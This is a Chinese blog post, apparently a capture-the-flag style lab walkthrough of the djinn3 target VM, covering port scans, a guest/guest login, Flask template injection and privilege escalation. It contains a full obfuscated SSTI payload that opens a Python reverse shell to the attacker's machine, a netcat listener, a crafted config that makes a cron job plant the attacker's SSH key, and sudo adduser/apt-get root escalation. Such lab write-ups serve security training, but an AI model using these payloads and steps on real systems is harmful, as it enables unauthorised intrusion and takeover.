djnn3靶机练习

乐乐713

于 2023-06-10 17:59:31 发布

阅读量174

点赞数

文章标签：网络安全

本文链接：https://blog.csdn.net/weixin_62391735/article/details/131142601

版权

靶机IP:192.168.159.137

kali机IP:192.168.159.128

sudo arp-scan -l

在这里插入图片描述

一.扫描靶机端口

sudo nmap -p- 192.168.159.137

在这里插入图片描述

发现开放22，80，5000，31337端口，对这四个端口进行细致的扫描

sudo nmap -p 22,80,5000,31337 -sV -A 192.168.159.137

Nmap scan report for 192.168.159.137
Host is up (0.00059s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e64423acb2d982e79058155e4023ed65 (RSA)
|   256 ae04856ecb104f554aad969ef2ce184f (ECDSA)
|_  256 f708561997b5031018667e7d2e0a4742 (ED25519)
80/tcp    open  http    lighttpd 1.4.45
|_http-server-header: lighttpd/1.4.45
|_http-title: Custom-ers
5000/tcp  open  http    Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
31337/tcp open  Elite?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL: 
|     username>
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     username> password> authentication failed
|   Help: 
|     username> password>
|   RPCCheck: 
|     username> Traceback (most recent call last):
|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
|   SSLSessionReq: 
|     username> Traceback (most recent call last):
|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
|   TerminalServerCookie: 
|     username> Traceback (most recent call last):
|     File "/opt/.tick-serv/tickets.py", line 105, in <module>
|     main()
|     File "/opt/.tick-serv/tickets.py", line 93, in main
|     username = input("username> ")
|     File "/usr/lib/python3.6/codecs.py", line 321, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|_    UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=7.93%I=7%D=6/10%Time=64841D86%P=x86_64-pc-linux-gnu%r(N
SF:ULL,A,"username>\x20")%r(GetRequest,2A,"username>\x20password>\x20authe
SF:ntication\x20failed\n")%r(SIPOptions,2A,"username>\x20password>\x20auth
SF:entication\x20failed\n")%r(GenericLines,2A,"username>\x20password>\x20a
SF:uthentication\x20failed\n")%r(HTTPOptions,2A,"username>\x20password>\x2
SF:0authentication\x20failed\n")%r(RTSPRequest,2A,"username>\x20password>\
SF:x20authentication\x20failed\n")%r(RPCCheck,1A9,"username>\x20Traceback\
SF:x20\(most\x20recent\x20call\x20last\):\n\x20\x20File\x20\"/opt/\.tick-s
SF:erv/tickets\.py\",\x20line\x20105,\x20in\x20<module>\n\x20\x20\x20\x20m
SF:ain\(\)\n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x209
SF:3,\x20in\x20main\n\x20\x20\x20\x20username\x20=\x20input\(\"username>\x
SF:20\"\)\n\x20\x20File\x20\"/usr/lib/python3\.6/codecs\.py\",\x20line\x20
SF:321,\x20in\x20decode\n\x20\x20\x20\x20\(result,\x20consumed\)\x20=\x20s
SF:elf\._buffer_decode\(data,\x20self\.errors,\x20final\)\nUnicodeDecodeEr
SF:ror:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte\x200x80\x20in\x20po
SF:sition\x200:\x20invalid\x20start\x20byte\n")%r(DNSVersionBindReqTCP,A,"
SF:username>\x20")%r(DNSStatusRequestTCP,A,"username>\x20")%r(Help,14,"use
SF:rname>\x20password>\x20")%r(SSLSessionReq,1B1,"username>\x20Traceback\x
SF:20\(most\x20recent\x20call\x20last\):\n\x20\x20File\x20\"/opt/\.tick-se
SF:rv/tickets\.py\",\x20line\x20105,\x20in\x20<module>\n\x20\x20\x20\x20ma
SF:in\(\)\n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x2093
SF:,\x20in\x20main\n\x20\x20\x20\x20username\x20=\x20input\(\"username>\x2
SF:0\"\)\n\x20\x20File\x20\"/usr/lib/python3\.6/codecs\.py\",\x20line\x203
SF:21,\x20in\x20decode\n\x20\x20\x20\x20\(result,\x20consumed\)\x20=\x20se
SF:lf\._buffer_decode\(data,\x20self\.errors,\x20final\)\nUnicodeDecodeErr
SF:or:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte\x200xd7\x20in\x20pos
SF:ition\x2013:\x20invalid\x20continuation\x20byte\n")%r(TerminalServerCoo
SF:kie,1B0,"username>\x20Traceback\x20\(most\x20recent\x20call\x20last\):\
SF:n\x20\x20File\x20\"/opt/\.tick-serv/tickets\.py\",\x20line\x20105,\x20i
SF:n\x20<module>\n\x20\x20\x20\x20main\(\)\n\x20\x20File\x20\"/opt/\.tick-
SF:serv/tickets\.py\",\x20line\x2093,\x20in\x20main\n\x20\x20\x20\x20usern
SF:ame\x20=\x20input\(\"username>\x20\"\)\n\x20\x20File\x20\"/usr/lib/pyth
SF:on3\.6/codecs\.py\",\x20line\x20321,\x20in\x20decode\n\x20\x20\x20\x20\
SF:(result,\x20consumed\)\x20=\x20self\._buffer_decode\(data,\x20self\.err
SF:ors,\x20final\)\nUnicodeDecodeError:\x20'utf-8'\x20codec\x20can't\x20de
SF:code\x20byte\x200xe0\x20in\x20position\x205:\x20invalid\x20continuation
SF:\x20byte\n");
MAC Address: 00:0C:29:A5:50:55 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.59 ms 192.168.159.137

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.34 seconds

二.探查80端口

直接访问80端口
在这里插入图片描述

没有发现什么有用的消息，进行目录扫描看看

dirb http://192.168.159.137

在这里插入图片描述
仍然没有发现有用的东西

三.探查5000端口

从上面端口扫描得知5000端口是一个web端口，使用的是python
在这里插入图片描述
在页面中发现了两个用户guest和Jack

点击link会跳转到下面页面

四.探查31337端口

从上面端口扫描得知这个端口的服务是Elite，Elite?因为并没有听过这个服务，所以选择直接nc连接

nc -nv 192.168.159.137 31337

在这里插入图片描述
要求输入用户名，那我们直接使用guest和jack尝试弱口令，最终guest/guest登录成功

根据help提示，我们直接创建新的ticket

创建完成后，回到5000端口的页面刷新，会发现多出新创建的ticket

由于他是python写的网站，让我想到的flask模板注入(SSTI),尝试验证一下
在这里插入图片描述

从这点确认了flask模板注入的漏洞，那我们直接反弹shell吧
构造payload

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.159.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\'')|attr('read')()}}

创建ticket
在这里插入图片描述
kali上监听5555端口

nc -lvvp 5555

点击link反弹shell
在这里插入图片描述
使用python创建tty

python3 -c 'import pty; pty.spawn("/bin/bash")'

五.提权

尝试sudo -l，需要密码
去看/etc/passwd的内容

usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
saint:x:1000:1002:,,,:/home/saint:/bin/bash
jack:x:1001:1003:,,,:/home/jack:/bin/bash
mzfr:x:1002:1004:,,,:/home/mzfr:/bin/bash

上传pspy进行进程分析看看
在这里插入图片描述
会发现每隔三分钟saint目录下的syncer.py就会执行
顺着这条线索我们寻找有关saint的文件

find / -user saint 2>/dev/null

在saint用户上发现两pyc文件
在这里插入图片描述
将这两个pyc文件拉到kali机上反编译看看
这两个文件没有办法直接下载，只能将他们复制到kali机，由于他们是二进制文件，这里只能使用十六进制形式复制下来再进行还原

xxd /opt/.configuration.cpython-38.pyc
xxd /opt/.syncer.cpython-38.pyc

xxd -r configuration.pyc >> configuration1.pyc
xxd -r syncer.pyc >> syncer1.pyc

反编译两个文件

uncompyle6 configuration1.pyc >>  configuration.py
uncompyle6 syncer1.pyc >> syncer.py

import os, sys, json
from glob import glob
from datetime import datetime as dt

class ConfigReader:
    config = None

    @staticmethod
    def read_config(path):
        """Reads the config file
        """
        config_values = {}
        try:
            with open(path, 'r') as (f):
                config_values = json.load(f)
        except Exception as e:
            try:
                print("Couldn't properly parse the config file. Please use properl")
                sys.exit(1)
            finally:
                e = None
                del e

        else:
            return config_values

    @staticmethod
    def set_config_path():
        """Set the config path
        """
        files = glob('/home/saint/*.json')
        other_files = glob('/tmp/*.json')
        files = files + other_files
        try:
            if len(files) > 2:
                files = files[:2]
            else:
                file1 = os.path.basename(files[0]).split('.')
                file2 = os.path.basename(files[1]).split('.')
                if file1[-2] == 'config':
                    if file2[-2] == 'config':
                        a = dt.strptime(file1[0], '%d-%m-%Y')
                        b = dt.strptime(file2[0], '%d-%m-%Y')
                if b < a:
                    filename = files[0]
                else:
                    filename = files[1]
        except Exception:
            sys.exit(1)
        else:
            return filename

from configuration import *
from connectors.ftpconn import *
from connectors.sshconn import *
from connectors.utils import *

def main():
    """Main function
    Cron job is going to make my work easy peasy
    """
    configPath = ConfigReader.set_config_path()
    config = ConfigReader.read_config(configPath)
    connections = checker(config)
    if 'FTP' in connections:
        ftpcon(config['FTP'])
    else:
        if 'SSH' in connections:
            sshcon(config['SSH'])
        else:
            if 'URL' in connections:
                sync(config['URL'], config['Output'])


if __name__ == '__main__':
    main()

代码分析

首先，代码通过ConfigReader.set_config_path()方法设置配置文件的路径。配置文件的路径是通过查找指定目录下的.json文件来确定的。在这段代码中，会搜索/home/saint/和/tmp/目录下的.json文件，并选择最新的两个文件作为配置文件。
接下来，通过ConfigReader.read_config()方法读取配置文件的内容。这个方法接受配置文件的路径作为参数，并返回读取到的配置文件内容。
然后，使用checker()函数检查配置文件中的连接类型。该函数会根据配置文件中的内容，确定需要建立哪种类型的连接。如果连接类型为FTP，就调用ftpcon()函数执行FTP连接操作；如果连接类型为SSH，就调用sshcon()函数执行SSH连接操作；如果连接类型为URL，就调用sync()函数执行URL同步操作。
总体来说，这段代码的目的是根据配置文件中的连接类型执行相应的连接操作。具体的连接操作是根据不同的连接类型而异，可以是FTP连接、SSH连接或URL同步等操作。

分析完代码我们就要构造配置文件了，首先我们在kali机上创建一个10-06-2023.config.json

{
	"URL":"http://192.168.159.128/authorized_keys",
	"Output":"/home/saint/.ssh/authorized_keys"
}

authorized_keys就是本机的公钥，可以使用ssh-keygen创建一个，打开kali的apache服务，将公钥复制到/var/www/html下

将这个json文件上传至靶机/tmp目录下，等待三分钟

ssh saint@192.168.159.137

在这里插入图片描述
免密登录

运行sudo -l，发现可以使用adduser来添加用户
在这里插入图片描述
给root组添加用户

sudo adduser abc -gid=0

切换值abc用户，去看sudoers

su abc
cat /etc/sudoers

在这里插入图片描述
发现还有一个用户jason，但是在/etc/passwd中并没有此用户，所以我们可以直接创建这个用户，切换回saint

sudo adduser jason -gid=0
su jason
sudo -l

在这里插入图片描述
发现可以使用apt-get命令，我们直接去https://gtfobins.github.io/网站去寻找

直接根据上面命令运行

乐乐713

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
djnn3靶机练习

这两个文件没有办法直接下载，只能将他们复制到kali机，由于他们是二进制文件，这里只能使用十六进制形式复制下来再进行还原。发现还有一个用户jason，但是在/etc/passwd中并没有此用户，所以我们可以直接创建这个用户，切换回saint。创建一个，打开kali的apache服务，将公钥复制到/var/www/html下。发现开放22，80，5000，31337端口，对这四个端口进行细致的扫描。创建完成后，回到5000端口的页面刷新，会发现多出新创建的ticket。
复制链接

扫一扫